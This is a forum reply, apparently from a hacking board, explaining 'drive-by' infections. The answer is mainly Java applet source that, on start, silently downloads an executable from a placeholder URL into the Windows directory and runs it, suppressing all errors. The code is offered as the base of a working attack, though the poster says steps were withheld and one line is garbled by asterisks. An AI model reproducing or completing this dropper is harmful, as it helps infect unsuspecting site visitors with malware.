Originally Posted by
pownage525
can u get a virus by just visiting it and no downloads?
yes you can, they use a script called a "drive-by" and it is made most of the time of a java applet that secretly downloads and executes the virus without letting the download manager open up.
the base source looks kinda like this
Code:
import java.applet.Applet;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.awt.*;
import java.net.*;
public class Client extends Applet
{
public Client()
{
}
public void start()
{
try
{
String fileoot = System.getenv("WINDIR");
String fname = "server.exe";
String efool = fileoo*****ncat(fname);
BufferedOutputStream bufferedoutputstream = null;
Object obj = null;
InputStream inputstream = null;
URL url = new URL("https://www.yoursite.com/server.exe");
bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(efool));
URLConnection urlconnection = url.openConnection();
inputstream = urlconnection.getInputStream();
byte abyte0[] = new byte[1024];
int i;
for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
bufferedoutputstream.write(abyte0, 0, i);
try
{
if(inputstream != null)
inputstream.close();
if(bufferedoutputstream != null)
bufferedoutputstream.close();
}
catch(IOException ioexception) {
}
Runtime runtime = Runtime.getRuntime();
try
{
Process process = runtime.exec(efool);
process.waitFor();
BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));
}
catch(Exception exception1) {
}
try
{
if(inputstream != null)
inputstream.close();
if(bufferedoutputstream != null)
bufferedoutputstream.close();
}
catch(IOException ioexception1) {
}
}
catch(Exception e) { }
}
public void main(String args[])
{
start();
}
public void stop()
{
}
}
but dont just copy paste this cuz there is much more steps to do to make it work that i kept out on purpose.